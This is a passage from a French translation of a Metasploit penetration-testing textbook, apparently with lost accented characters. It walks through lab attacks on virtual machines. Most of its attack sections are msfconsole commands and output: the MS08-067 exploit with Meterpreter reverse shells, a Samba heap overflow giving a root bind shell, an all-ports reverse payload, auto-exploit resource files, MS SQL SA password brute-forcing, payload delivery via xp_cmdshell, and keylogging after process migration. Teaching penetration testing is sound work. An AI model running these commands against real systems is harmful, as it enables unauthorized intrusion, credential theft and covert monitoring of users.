indiquant si un champ est obligatoire. Utilisez la commande set pour
dfinir une option (lactiver) et unset pour dsactiver une option. La liste
suivante montre les commandes set et unset en cours dutilisation.
Remarque
Notez que les variables sont rfrences laide de caractres en
majuscules. Ce nest pas obligatoire, mais considr comme une bonne
pratique.
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.155
RHOST => 192.168.1.155
msf exploit(ms08_067_netapi) > set TARGET 3
TARGET => 3

Module options:

Name
Current
Setting
---- --------------- -------- -----------
RHOST 192.168.1.155 yes The target address
SMBPIPE BROWSER yes
The pipe name to use
(BROWSER, SRVSVC)

Exploit target:

Id Name
-- ----

msf exploit(ms08_067_netapi) > unset RHOST
Unsetting RHOST...
En , nous dfinissons ladresse IP cible (RHOST) 192.168.1.155
(notre machine cible). En , nous dfinissons la cible 3, le Windows XP
SP2 English (NX) que nous avons list via show targets dans msf> show
targets la page 77. Lexcution de show options en confirme que nos
rglages ont t pris en compte, comme indiqu dans la sortie Module
options.
setg et unsetg
Les commandes setg et unsetg sont utilises pour activer ou dsactiver un
paramtre de manire globale dans msfconsole. Lutilisation de ces
commandes peut vous viter davoir re-saisir les mmes informations
plusieurs reprises, en particulier dans le cas des options frquemment
utilises qui changent rarement, comme LHOST.
save
Aprs avoir configur les options globales avec la commande setg,
utilisez la commande save pour enregistrer vos paramtres actuels afin
quils soient disponibles la prochaine fois que vous excuterez la console.
Vous pouvez entrer la commande de sauvegarde tout moment dans
Metasploit pour enregistrer vos paramtres courants.
msf exploit(ms08_067_netapi) > save
Saved configuration to: /root/.msf3/config
Lemplacement sur lequel la configuration est stocke, /root/.msf3/config,
est affich lcran. Si vous devez recommencer, dplacez ou
supprimez ce fichier pour rtablir les paramtres par dfaut.
Exploitation dune premire machine
Avec quelques-uns des principes de base que nous avons vus
prcdemment et une comprhension de la faon de configurer les
variables au sein de msfconsole, nous allons exploiter notre premire
machine. Pour ce faire, lancez vos machines virtuelles Windows XP
Service Pack 2 et Ubuntu 9.04. Nous allons utiliser Metasploit au sein de
Back|Track.
Si vous avez utilis les scanners de vulnrabilit abords au Chapitre 4
contre votre machine virtuelle Windows XP SP2, vous aurez rencontr la
vulnrabilit que nous allons exploiter dans ce chapitre : lexploit MS08-
067. Nous allons commencer par trouver cette vulnrabilit par nous
mme.
Comme vos comptences en tant que pentester samliorent, la
dcouverte de certains ports ouverts va dclencher des ides sur la
manire dont vous pourriez exploiter un service particulier. Une des
meilleures faons deffectuer cette vrification est dutiliser les options
de scripting de nmap au sein de Metasploit, comme indiqu ici :
root@bt:/root# cd /opt/framework3/msf3/
root@bt:/opt/framework3/msf3# msfconsole

. . . SNIP . . .

msf > nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130
[*] exec: nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130

Starting Nmap 5.20 (http://nmap.org) at 2011-03-15 19:46 EDT
NSE: Script Scanning completed.
443/tcp open https?
445/tcp open
microsoft-
ds
RTM
OS details: Microsoft Windows XP Professional SP2 or Windows
Server 2003
Service Info: Host: ihazsecurity; OS: Windows

smb-check-vulns:
MS08-067: VULNERABLE
Conficker: Likely CLEAN

regsvc DoS: CHECK DISABLED (add --script-
args=unsafe=1 to run)

SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add --
script-args=unsafe=1 to run)

msf >
Ici, nous appelons nmap depuis Metasploit avec loption --script=smb-
check-vulns en . Remarquez les flags utiliss lors du scan du host avec
nmap. Le -sT est une connexion TCP ; cest le flag que nous estimons le
plus fiable pour numrer les ports (dautres prfrent -sS, ou Stealth
Syn). Le -A prcise la dtection avance des OS, qui permet galement
de rcuprer dautres bannires et empreintes dun service spcifique.
Notez que dans les rsultats de nmap, MS08-067 : VULNERABLE est
rapport en . Cela est un bon indicateur de chance de parvenir
exploiter ce systme. Nous allons utiliser Metasploit pour trouver lexploit
requis et tenter de compromettre le systme.Cet exploit est propre la
version du systme dexploitation, au service pack, et la langue utilise
sur le systme, rsultant de lexploit contournant Data Execution
Prevention (DEP). DEP a t cr pour aider se protger contre les
attaques de type buffer overflow en rendant la pile accessible en lecture
seule et en empchant ainsi un shellcode arbitrairement plac de
sexcuter. Cependant, nous pouvons contourner DEP et forcer Windows
rendre la pile accessible en criture en effectuant une manipulation
complexe de la pile (pour en savoir plus sur les contournements de DEP,
voir http://www.uninformed.org/?v=2&a=4).
Dans >msf show targets la page 77 nous avons utilis la commande
show targets, qui rpertorie chaque version vulnrable de ce vecteur
dattaque. Parce que MS08-067 est un exploit qui vise spcifiquement la
version de lOS utilis, nous allons configurer manuellement notre cible
pour nous assurer que nous dclencherons le bon overflow. Sur la base
des rsultats de lanalyse des scans de nmap indiqu dans lexemple
prcdent, nous pouvons dire en que le systme fonctionne sous
Windows XP Service Pack 2 (il est galement identifi comme pouvant
tre Windows 2003, mais le systme ne contient pas les principaux ports
qui seraient associs la Server Edition). Nous considrons que notre
cible excute la version anglaise de XP.
Passons lexploitation relle. Dabord la configuration :
msf > search ms08_067_netapi

[*] Searching loaded modules for pattern ms08_067_netapi...

Exploits
========

---- ---- -----------
/smb/ms08_067_netapi great
Relative Path Stack
Corruption

msf exploit(ms08_067_netapi) > set PAYLOAD
windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show targets

Exploit targets:

Id Name
-- ----
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
5 Windows 2003 SP0 Universal

. . . SNIP . . .

26 Windows XP SP2 Japanese (NX)

. . . SNIP . . .

target => 3
msf exploit(ms08_067_netapi) > set RHOST 192.168.33.130
RHOST => 192.168.33.130
msf exploit(ms08_067_netapi) > set LHOST 192.168.33.129
LHOST => 192.168.33.129
msf exploit(ms08_067_netapi) > set LPORT 8080
LPORT => 8080

Module options:

Name Current Setting Required
---- --------------- --------
RHOST 192.168.33.130 yes
RPORT 445 yes
SMBPIPE BROWSER yes

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required
---- --------------- --------
EXITFUNC thread yes
LHOST 192.168.33.129 yes
LPORT 8080 yes

Exploit target:

Id Name

-- ----
Nous recherchons lexploit MS08-067 NetAPI dans le framework en .
Puis, aprs lavoir trouv, nous chargeons lexploit
windows/smb/ms08_067_netapi en .
Ensuite, nous avons configur en le payload en tant que Windows
Meterpreter reverse_tcp, qui, en cas de succs, va initier une connexion
depuis la machine cible vers la machine attaquante spcifie avec
LHOST. Cela est important si vous vous retrouvez confront un pare-
feu et que vous ayez besoin de contourner les contrles entrants sur ce
pare-feu ou sur un NAT.
Meterpreter est un outil de postexploitation que nous allons utiliser par la
suite dans ce livre. Cest lun des outils phares de Metasploit. Il permet
lextraction dinformations ou la compromission de systmes beaucoup
plus facilement.
La commande show targets en nous permet didentifier le systme que
nous voulons cibler (bien que de nombreux exploits MSF utilisent le
ciblage automatique et ne ncessitent pas cette option, la capacit de
dtection automatique choue gnralement dans MS08-067).
Nous avons ensuite dfini notre cible en tant que Windows XP SP2
English (NX) en . Le NX est synonyme de No Execute. Par dfaut,
dans Windows XP SP2, DEP est activ.
En , nous dfinissons ladresse IP de notre machine cible, en dfinissant
la valeur RHOST, qui est vulnrable lexploit MS08-067.
La commande set LHOST en indique ladresse IP de notre machine
attaquante (la machine sous Back|Track), et loption LPORT en , le port
sur lequel notre machine attaquante sera lcoute dune connexion en
provenance de notre cible (lorsque vous configurez loption LPORT,
utilisez un port standard qui devrait vous permettre de passer au travers
du pare-feu : les ports 443, 80, 53, et 8080 sont souvent de bonnes
options). Enfin, nous entrons Show Options en pour nous assurer que
les options sont correctement configures.
Aprs avoir prpar le terrain, nous sommes prts procder
lexploitation effective :
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.33.129:8080
[*]
192.168.33.130:1487)
msf exploit(ms08_067_netapi) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter
192.168.33.129:8080 ->
192.168.33.130:1036

msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 4060 created.
Channel 1 created.

La commande exploit en initie notre exploit et tente dattaquer la cible.
Lattaque russit et nous donne un payload Meterpreter reverse_tcp en
, que nous pouvons voir avec sessions -l en . Une seule session est
active, comme indiqu en , mais si nous avons cibl plusieurs systmes,
plusieurs sessions peuvent tre ouvertes simultanment (pour voir une
liste des exploits qui ont cr chaque session, vous devez entrer sessions -
l -v).
La commande sessions -i 1 est effectue en afin dinteragir avec une
session. Notez que cela nous donne accs un shell Meterpreter. Si, par
exemple, un reverse command shell existait, cette commande nous aurait
renvoy directement sur un prompt. Et, enfin, nous entrons shell en
pour basculer sur un shell de commande interactif sur la cible.
Flicitations ! Vous venez de compromettre votre premire machine !
Pour obtenir la liste des commandes disponibles pour un exploit
particulier, vous pouvez entrer show options.
Exploitation dune machine Ubuntu
Essayons un exploit diffrent sur une machine virtuelle Ubuntu 9.04. Les
tapes sont peu prs les mmes que pour lexploit prcdent, sauf que
nous allons slectionner un payload diffrent.
msf > nmap -sT -A -P0 192.168.33.132
[*] exec: nmap -sT -A -P0 192.168.33.132
The Joy of Exploitation 69
80/tcp open http
Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1)
|_html-title: Index of /
139/tcp open
netbios-
ssn
Samba smbd 3.X (workgroup: MSHOME)
445/tcp open
netbios-
ssn
Samba smbd 3.X (workgroup: MSHOME)
MAC Address: 00:0C:29:21:AD:08 (VMware)
No exact OS matches for host (If you know what OS is running on it,
see http://nmap.org/submit/).

. . . SNIP . . .

|_nbstat: NetBIOS name: UBUNTU, NetBIOS user: <unknown>,
NetBIOS MAC: <unknown>
|_smbv2-enabled: Server doesnt support SMBv2 protocol
| smb-os-discovery:
| OS: Unix (Samba 3.0.24)
| Name: MSHOME\Unknown
|_ System time: 2011-03-15 17:39:57 UTC-4

Nous voyons trois ports ouverts : 80, 139 et 445. Le message en dit que
le systme est sous Ubuntu, et en nous voyons quil excute une version
de Samba 3.x et Apache 2.2.3 avec PHP 5.2.1.
Nous allons chercher un exploit Samba et lessayer contre le systme :
msf > search samba
[*] Searching loaded modules for pattern samba...

Auxiliary
=========
---- ---- -----------
admin/smb/samba_symlink_traversal normal
Samba Symlink
Directory Traversal
dos/samba/lsa_addprivs_heap normal
Samba
lsa_io_privilege_set
Heap Overflow
dos/samba/lsa_transnames_heap normal
Samba
lsa_io_trans_names
Heap Overflow

Exploits
========

---- ---- -----------
linux/samba/lsa_transnames_heap good
Samba
lsa_io_trans_names
. . .

. . . SNIP . . .

msf > use linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > show payloads

Compatible Payloads
===================

---- ---- -----------
generic/debug_trap normal
Generic x86 Debug
Trap
generic/shell_bind_tcp normal
Generic Command
Shell, Bind TCP
Inline
generic/shell_reverse_tcp normal
Generic Command
Shell, Reverse TCP
Inline
linux/x86/adduser normal Linux Add User

linux/x86/chmod normal Linux Chmod

linux/x86/exec normal
Linux Execute
Command

linux/x86/metsvc_bind_tcp normal
Linux Meterpreter
Service, Bind TCP

linux/x86/metsvc_reverse_tcp normal
Linux Meterpreter
Service, Reverse
TCP Inline
linux/x86/shell/bind_ipv6_tcp normal
Linux Command
Shell, Bind TCP
Stager (IPv6)
linux/x86/shell/bind_tcp normal
Linux Command
Shell, Bind TCP
Stager

. . . SNIP . . .

msf exploit(lsa_transnames_heap) > set payload
linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(lsa_transnames_heap) > set LPORT 8080
LPORT => 8080
msf exploit(lsa_transnames_heap) > set RHOST 192.168.33.132
RHOST => 192.168.33.132
msf exploit(lsa_transnames_heap) > exploit

[*] Creating nop sled....
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...

. . . SNIP . . .

[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*]
192.168.33.132:8080)
ifconfig
eth1
Link encap:Ethernet HWaddr
00:0C:29:21:AD:08

inet addr:192.168.33.132
Bcast:192.168.33.255
Mask:255.255.255.0

UP BROADCAST RUNNING
MULTICAST MTU:1500 Metric:1

RX packets:3178 errors:0 dropped:0
overruns:0 frame:0

TX packets:2756 errors:0 dropped:0
overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:292351 (285.4 KiB) TX
bytes:214234 (209.2 KiB)
Interrupt:17 Base address:0x2000

Lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING
MTU:16436 Metric:1

RX packets:0 errors:0 dropped:0
overruns:0 frame:0

TX packets:0 errors:0 dropped:0
overruns:0 carrier:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
whoami
root
Ce type dexploitation, appel une attaque heap-based, profite de
lallocation dynamique de mmoire, mais ce nest pas fiable cent pour
cent (vous devrez peut-tre essayer la commande exploit quelques
reprises si elle ne fonctionne pas la premire fois).
Notez dans cet exemple que nous avons utilis un bind shell pour mettre
en place un port dcoute sur la machine cible. Metasploit gre la
connexion directe au systme automatiquement (noubliez pas dutiliser
le reverse payload lors de lattaque travers un pare-feu ou un NAT).
Les payload pour tous les ports : bruteforcing de ports
Dans les exemples prcdents, nous avons compt sur le fait que le
reverse port soit toujours ouvert. Mais que faire si nous attaquons une
socit avec un filtrage trs strict des ports de sortie ? La plupart des
entreprises bloquent les connexions sortantes, sauf celles de quelques
ports dfinis, et il peut tre difficile de dterminer quels ports peuvent
tablir des connexions sortantes.
Nous pouvons deviner que le port 443 ne sera pas inspect et permettra
une connexion TCP sortante, et que FTP, Telnet, SSH et HTTP peuvent
tre autoriss. Mais pourquoi deviner quand Metasploit a un payload
dfini pour rechercher des ports ouverts ?
Le payload de Metasploit va essayer tous les ports disponibles jusqu ce
quil trouve un processus ouvert (tester la plage entire des ports [1-
65535] peut prendre un temps assez long, cependant).
Profitons de ce payload et laissons-le tester tous les ports de connexion
sortante jusqu ce que nous en obtenions un douvert :
msf exploit(ms08_067_netapi) > set LHOST 192.168.33.129
lhost => 192.168.33.129
smsf exploit(ms08_067_netapi) > set RHOST 192.168.33.130
rhost => 192.168.33.130
target => 3
msf exploit(ms08_067_netapi) > search ports
[*] Searching loaded modules for pattern ports...

Compatible Payloads
===================

Name Rank
---- ----
windows/dllinject/reverse_tcp_allports normal
windows/meterpreter/reverse_tcp_allports normal

. . . SNIP . . .

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
payload => windows/meterpreter/reverse_tcp_allports
msf exploit(ms08_067_netapi) > exploit -j
[*] Exploit running as background job.
[*] Meterpreter session 1 opened (192.168.33.129:1 -> 192.168.33.130:1047)

msf exploit(ms08_067_netapi) > sessions -l -v

Active sessions
===============

Id Type Information
-- ---- -----------
1 meterpreter
NT
AUTHORITY\SYSTEM
@ IHAZSECURITY


meterpreter >
Notez que nous ne fixons pas un LPORT, au contraire, nous utilisons
allports parce que nous allons essayer de nous connecter hors du rseau
sur chacun des ports jusqu ce quon en trouve un douvert. Si vous
regardez de prs, vous verrez en que notre machine attaquante est lie
:1 (tous les ports) et quelle trouve un port sortant sur le port 1047 du
rseau cible.
Les fichiers de ressources sont des fichiers de script permettant
dautomatiser les commandes dans msfconsole. Ils contiennent une liste
de commandes qui sont excutes partir de msfconsole de manire
squentielle. Ils peuvent grandement rduire les temps de test et de
dveloppement, afin de vous permettre dautomatiser des tches
rptitives, notamment lexploitation.
Les fichiers de ressources peuvent tre chargs partir de msfconsole
avec la commande resource, ou ils peuvent tre passs comme argument
de ligne de commande avec loption -r.
Lexemple simple illustr ci-aprs cre un fichier de ressources qui
affiche notre version Metasploit, puis charge le plug-in sounds :
root@bt:/opt/framework3/msf3/ echo version > resource.rc
root@bt:/opt/framework3/msf3/ echo load sounds >> resource.rc
root@bt:/opt/framework3/msf3/ msfconsole -r resource.rc
resource (resource.rc)> version
Framework: 3.7.0-dev.12220
Console : 3.7.0-dev.12220
resource (resource.rc)> load sounds
[*] Successfully loaded plugin: sounds
msf >
Comme vous pouvez le voir en et en , les commandes version et load
sounds sont "echoed" dans un fichier texte appel resource.rc. Ce fichier
est ensuite transmis msfconsole la ligne de commande en avec
loption -r, et quand le fichier commence se charger, les commandes
sont excutes en partir du fichier de ressources.
Un fichier de ressources plus complexe peut automatiquement excuter
un exploit particulier contre une machine dans votre environnement
exprimental. Par exemple, la liste suivante utilise un exploit SMB dans un
fichier de ressources nouvellement cr, appel autoexploit.rc. Nous
avons dfini un payload ainsi que notre attaque et ladresse IP cible dans
ce mme fichier de sorte que nous navons pas spcifier ces options
manuellement lorsque nous tentons cet exploit.
root@bt:/opt/framework3/msf3/ echo use
exploit/windows/smb/ms08_067_netapi > autoexploit.rc
root@bt:/opt/framework3/msf3/ echo set RHOST 192.168.1.155 >>
autoexploit.rc
root@bt:/opt/framework3/msf3/ echo set PAYLOAD
windows/meterpreter/reverse_tcp >> autoexploit.rc
root@bt:/opt/framework3/msf3/ echo set LHOST 192.168.1.101 >>
autoexploit.rc
root@bt:/opt/framework3/msf3/ echo exploit >> autoexploit.rc
root@bt:/opt/framework3/msf3/ msfconsole
msf > resource autoexploit.rc
resource (autoexploit.rc) > use
exploit/windows/smb/ms08_067_netapi
resource (autoexploit.rc)> set RHOST 192.168.1.155
RHOST => 192.168.1.155
resource (autoexploit.rc)> set PAYLOAD
PAYLOAD => windows/meterpreter/reverse_tcp
resource (autoexploit.rc)> set LHOST 192.168.1.101
LHOST => 192.168.1.101
resource (autoexploit.rc)> exploit

[*]
192.168.1.155:1033)

meterpreter >
Ici, nous spcifions le fichier de ressources au sein de msfconsole, et il
excute automatiquement nos commandes comme indiqu par la sortie
affiche en .
Note
Ce ne sont que quelques exemples simples. Au Chapitre 12, vous
apprendrez comment utiliser Karma, un trs gros fichier de ressources.
Conclusion
Vous venez dexploiter votre premire machine et obtenu un accs
complet avec msfconsole. Flicitations !
Nous avons commenc ce chapitre en couvrant les bases de lexploitation
et en compromettant une cible grce une vulnrabilit dcouverte.
Lexploitation consiste identifier les risques potentiels dun systme et
exploiter ses faiblesses. Nous avons utilis nmap pour identifier les
services potentiellement vulnrables. De l, nous avons lanc un exploit
qui nous a donn accs un systme.
Dans le prochain chapitre, nous allons explorer plus en dtail Meterpreter
en mme temps que nous allons apprendre comment lutiliser en
postexploitation. Vous trouverez que Meterpreter est un outil
extraordinaire une fois que vous aurez compromis un systme.
6
Meterpreter
Sommaire
Compromettre une machine virtuelle Windows XP
La rcupration des noms dutilisateurs et des mots de
passe
Pass-the-hash
Escalade de privilges
Usurpation de jetons
Utilisation de ps
Pivot sur dautres systmes
Utilisation de scripts Meterpreter
Utilisation des modules de postexploitation
Upgrade dun shell de commandes en un shell Meterpreter
Manipulation des API Windows avec ladd-on Railgun
Dans ce chapitre, nous allons plonger plus profondment dans ce
"couteau suisse du hacker" qui peut considrablement amliorer votre
exprience postexploitation. Meterpreter est lun des produits phares de
Metasploit, utilis comme un payload aprs lexploitation dune
vulnrabilit. Un payload reprsente les informations qui nous sont
renvoyes quand nous dclenchons un exploit. Par exemple, lorsque nous
exploitons une faiblesse dans une procdure dappel distance (RPC,
Remote Process Call), dclenchons lexploit et slectionnons Meterpreter
comme payload, cela nous donnera un shell Meterpreter sur le systme.
Meterpreter est une extension du framework Metasploit qui nous permet
denrichir les fonctionnalits de Metasploit et de compromettre davantage
notre cible. Certaines de ces fonctionnalits comprennent des moyens
pour couvrir vos pistes, rsider en mmoire, dumper les hashs, accder
aux systmes dexploitation, pivoter, et bien plus encore.
Dans ce chapitre, nous allons appliquer les mthodes dattaque standard
de Metasploit afin de compromettre un ordinateur sous Windows XP.
Notre payload, Meterpreter, nous permettra deffectuer des attaques
supplmentaires aprs que nous aurons compromis le systme.
Compromission dune machine virtuelle Windows XP
Avant de nous plonger dans les dtails de Meterpreter, nous devons
dabord compromettre un systme et obtenir un shell Meterpreter.
Scan de ports avec Nmap
Nous commenons par identifier les services et les ports en cours
dexcution sur la cible en effectuant un scan de ports avec nmap pour
trouver un port exploiter, comme indiqu ici :
msf > nmap -sT -A -P0 192.168.33.130
[*] exec: nmap -sT -A -P0 192.168.33.130

. . . SNIP. . .

|_html-title: Directory Listing Denied
139/tcp open
netbios-
ssn

445/tcp open
microsoft-
ds
RTM
OS details: Microsoft Windows XP Professional SP2 or Windows
Server 2003

. . . SNIP . . .


msf >
Aprs avoir men notre scan de port en , nous constatons que certains
ports intressants sont accessibles, y compris MS SQL en , un vecteur
dattaque potentiel. Mais peut-tre que la chose la plus intressante
signale par nmap, cest que cette machine fonctionne sous Windows XP
Service Pack 2 (SP2) en , qui est maintenant en fin de vie, ce qui
signifie que certaines failles publies nauront pas t corriges ou
patches par linstallation du Service Pack 3 (SP3).
noter galement, nous voyons les ports standard FTP et SMTP , qui
pourraient tre disponibles pour tre mis profit pour une attaque. Et
nous voyons que le port 80 est ouvert , ce qui signifie que nous avons
une potentielle application web attaquer.
Attaque de MS SQL
Dans cet exemple, nous allons attaquer le port 1433, MS SQL, parce que
cest souvent un point dentre de faiblesse qui peut conduire une
compromission totale aboutissant une prise de contrle de la cible au
niveau administrateur.
Pour commencer, nous identifions linstallation de MS SQL, puis nous
lanons une attaque par bruteforce sur MS SQL Server pour voir sil est
possible de trouver un mot de passe. Par dfaut, MS SQL Server est
install sur le port TCP 1433 et le port UDP 1434, bien que les versions
plus rcentes permettent une installation sur un port allou
dynamiquement, ce qui peut tre randomis. Heureusement, le port 1434
UDP (pour lequel nous navons pas effectu de scan) reste le mme et
peut tre interrog pour identifier le port dynamique du serveur SQL.
Ici, nous analysons le systme et voyons que le port 1434 UDP MS SQL
est ouvert :
msf > nmap -sU 192.168.33.130 p1434

PORT STATE SERVICE
1434/udp open ms-sql-m

msf >
Comme vous pouvez le voir, nous explorons notre host en et voyons
que le port UDP 1434 de MS SQL en est ouvert (les Chapitres 11, 13, et
17 porteront plus prcisment sur MS SQL).
Lorsque vous ciblez MS SQL, vous pouvez tirer parti du module
mssql_ping en bruteforant le port MS SQL et tenter de trouver le nom
dutilisateur et le mot de passe. Lors de la premire installation de
MSSQL, le programme demande lutilisateur de crer un compte SA
(System Administrator). Vous serez souvent en mesure de deviner ou de
trouver par bruteforce le mot de passe du compte SA, car lorsque les
administrateurs installent cette application, ils ne comprennent pas les
ramifications de scurit engendres par un mot de passe vide ou quelque
chose de trop simple.
Dans lexemple suivant, nous appelons le module mssql_ping et tentons de
bruteforcer le compte SA :
msf > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > show options

Module options:

Name
Current
Setting
----
-------------
-------- -----------
--
PASSWORD no
The password for the specified
username
RHOSTS yes
The target address range or CIDR
identifier
THREADS 1 yes The number of concurrent threads
USERNAME sa no The username to authenticate as

msf auxiliary(mssql_ping) > set RHOSTS 192.168.33.1/24
RHOSTS => 192.168.33.1/24
msf auxiliary(mssql_ping) > set THREADS 20
THREADS => 20
msf auxiliary(mssql_ping) > exploit

[*] SQL Server information for 192.168.33.130:
[*] ServerName = IHAZSECURITY
[*] InstanceName = SQLEXPRESS
[*] IsClustered = No
[*] Version = 9.00.1399.06
[*] tcp = 1433
[*] np
=
\\IHAZSECURITY\pipe\MSSQL$SQLEXPRESS\sql\query
Aprs avoir appel le module mssql_ping avec use
scanner/mssql/mssql_ping et configur nos options, nous voyons que
linstallation de SQL Server se trouve 192.168.33.130 . Le nom du
serveur est IHAZSECURITY . Son numro de version 9.00.1399.06
relev en quivaut SQL Server 2005 Express, et nous savons quil est
lcoute sur le port TCP 1433.
Bruteforcing de MS SQL Server
Ensuite, nous allons bruteforcer le serveur avec le module mssql_login du
framework :
msf > use scanner/mssql/mssql_login
msf auxiliary(mssql_login) > show options

Module options:

Name
Current
Setting
----
--------
-------
-------- -----------
BRUTEFORCE_SPEED 5 yes
How fast to
bruteforce, from 0 to 5
PASSWORD no
specified username
PASS_FILE no
File containing
passwords, one per
line
RHOSTS yes
The target address
range or CIDR
identifier
THREADS 1 yes
The number of
concurrent threads
USERNAME sa no
The username to
authenticate as
USERPASS_FILE no
File containing users
and passwords
separated by space,
one pair per line
USER_FILE no
File containing
usernames, one per
line
VERBOSE true yes
Whether to print
output for all attempts

msf auxiliary(mssql_login) > set PASS_FILE
/pentest/exploits/fasttrack/bin/dict/wordlist.txt
PASS_FILE => /pentest/exploits/fasttrack/bin/dict/wordlist.txt
msf auxiliary(mssql_login) > set RHOSTS 192.168.33.130
RHOSTS => 192.168.33.130
msf auxiliary(mssql_login) > set THREADS 10
THREADS => 10
msf auxiliary(mssql_login) > set verbose false
verbose => false
msf auxiliary(mssql_login) > exploit
[+]
192.168.33.130:1433 - MSSQL - successful login sa :
password123
Nous slectionnons le module mssql_login en et le configurons avec la
liste de mots de passe par dfaut de Fast-Track en (nous parlerons de
Fast-Track de faon plus dtaille au Chapitre 11). En , nous avons
russi deviner le mot de passe SA : password123.
Note
Fast-Track est un outil cr par lun des auteurs de ce livre qui sappuie
sur de multiples attaques, des exploits et le framework Metasploit pour la
distribution de payloads. Lune de ses caractristiques est sa capacit
utiliser une bruteforce pour attaquer et compromettre MS SQL
automatiquement.
xp_cmdshell
En excutant MS SQL partir du compte SA, nous pouvons effectuer la
procdure stocke xp_cmdshell, ce qui nous permet dinteragir avec le
systme dexploitation sous-jacent et dappliquer des commandes. Le
xp_cmdshell est une procdure stocke intgre qui est embarque par
dfaut dans SQL Server. Vous pouvez lappeler et en obtenir lexcution
de requtes sous-jacentes sur le systme dexploitation interagissant
directement avec MS SQL. Pensez-y comme une sorte dinvite de
commande superutilisateur qui vous permet dexcuter tout ce que vous
voulez sur le systme dexploitation. Lorsque nous avons accs au
compte SA, nous constatons que le serveur MS SQL est gnralement en
train de sexcuter avec des autorisations de niveau SYSTEM, ce qui
nous permet un accs complet en tant quadministrateur la fois sur MS
SQL et sur la machine elle-mme.
Pour lancer un payload sur le systme, nous allons interagir avec le
xp_cmdshell, ajouter un administrateur local et fournir le payload par le
biais dun fichier excutable. David Kennedy et Joshua Drake (jduck)
ont crit un module (mssql_payload) qui peut tre utilis pour fournir un
payload de Metasploit par xp_cmdshell :
msf > use windows/mssql/mssql_payload
msf exploit(mssql_payload) > show options

Module options:

Current
Name Setting Required Description
----
-----------
----
-------- -----------
PASSWORD no
specified username
USERNAME sa no
The username to
authenticate as
UseCmdStager true no
Wait for user input before
returning from exploit
VERBOSE false no Enable verbose output

Exploit target:

Id Name
-- ----
0 Automatic
msf exploit(mssql_payload) > set payload
msf
exploit(mssql_payload)
> set LHOST 192.168.33.129
LHOST =>
192.168.33.129

msf
> set LPORT 443
LPORT => 443
msf
> set RHOST 192.168.33.130
RHOST =>
192.168.33.130

msf
> set PASSWORD password123
PASSWORD =>
password123

msf exploit(mssql_payload) > exploit

[*] Command Stager progress - 2.78% done (1494/53679 bytes)

. . . SNIP . . .

[*]
192.168.33.130:1699)
meterpreter >
Aprs avoir slectionn le module mssql_payload et configur notre
payload Meterpreter en , tout ce que nous devons faire est de dfinir
les options standard avant de commencer notre session Meterpreter. Nous
avons russi ouvrir une session Meterpreter en sur la machine cible.
Pour rappel, lors de lattaque dcrite ici, nous avons utilis le module
mssql_ping pour trouver le mot de passe SA de MS SQL que nous avons
dcouvert : password123. Nous avons ensuite exploit le module
mssql_payload afin de communiquer avec MS SQL et tlcharger un
shell Meterpreter par MS SQL, lequel shell nous a t prsent, ce qui a
compromis alors compltement le systme. Une fois que le shell
Meterpreter est prsent, nous savons que lexploit a russi et nous
pouvons continuer lexploitation sur ce systme.
Commandes de base de Meterpreter
Ayant russi compromettre la cible et a rcuprer une console
Meterpreter sur le systme, nous pouvons glaner plus dinformations avec
quelques commandes de base Meterpreter. Utilisez la commande help
tout moment pour plus dinformations sur la faon dutiliser Meterpreter.
Faire une capture dcran
La commande screenshot de Meterpreter va exporter une image du
bureau de lutilisateur actif et lenregistrer dans le rpertoire
/opt/metasploit3/msf3/ (voir Figure 6.1).
meterpreter > screenshot
Screenshot saved to: /opt/metasploit3/msf3/yVHXaZar.jpeg
Des captures dcran de bureau offrent une excellente faon den
apprendre davantage sur un systme cible. Par exemple, la Figure 6.1,
on peut voir que le logiciel antivirus McAfee est install et fonctionne, ce
qui signifie que nous devons tre prudents sur ce que nous tlchargeons
dans le systme (le Chapitre 7 traite de manire plus dtaille du
contournement des antivirus).
Figure 6.1
Capture dcran Meterpreter.
sysinfo
Une autre commande que nous pouvons spcifier est sysinfo, qui va
dvoiler la plateforme sur laquelle le systme est install, comme indiqu
ici :
Meterpreter> sysinfo
Ordinateur : IHAZSECURITY
OS : Windows XP (Build 2600, Service Pack 2). Arch: x86
Langue : fr
Comme vous pouvez le voir, ce systme est quip de Windows XP
Service Pack 2. Parce que le SP2 est en fin de vie, nous pouvons supposer
que nous pouvons trouver une tonne de failles sur ce systme.
Capturer des keystrokes
Maintenant, nous allons rcuprer les hashs de password de ce systme,
qui pourront soit tre cracks soit utiliss dans une attaque. Nous allons
galement lancer keystroke logging (enregistrement des frappes du
clavier) sur le systme distant. Mais dabord, nous allons dresser la liste
des processus en cours dexcution sur le systme cible avec la
commande ps.
meterpreter > ps

Process list
============

PID Name Arch Session User
--- ---- ---- ------- ----
0
[System
Process]

4 System x86 0 NT AUTHORITY\SYSTEM

. . . SNIP . . .

1476 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM
1668
explorer.exe
x86 0 IHAZSECURITY\Administrator

. . . SNIP . . .

4032 notepad.exe x86 0 IHAZSECURITY\Administrator

meterpreter > migrate 1668
[*] Migrating to 1668...
[*] Migration completed successfully.
meterpreter > run post/windows/capture/keylog_recorder
[*] Executing module against V-MAC-XP
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf3/loot/
20110324171334_default_192.168.1.195_host.windows.key_179703.txt
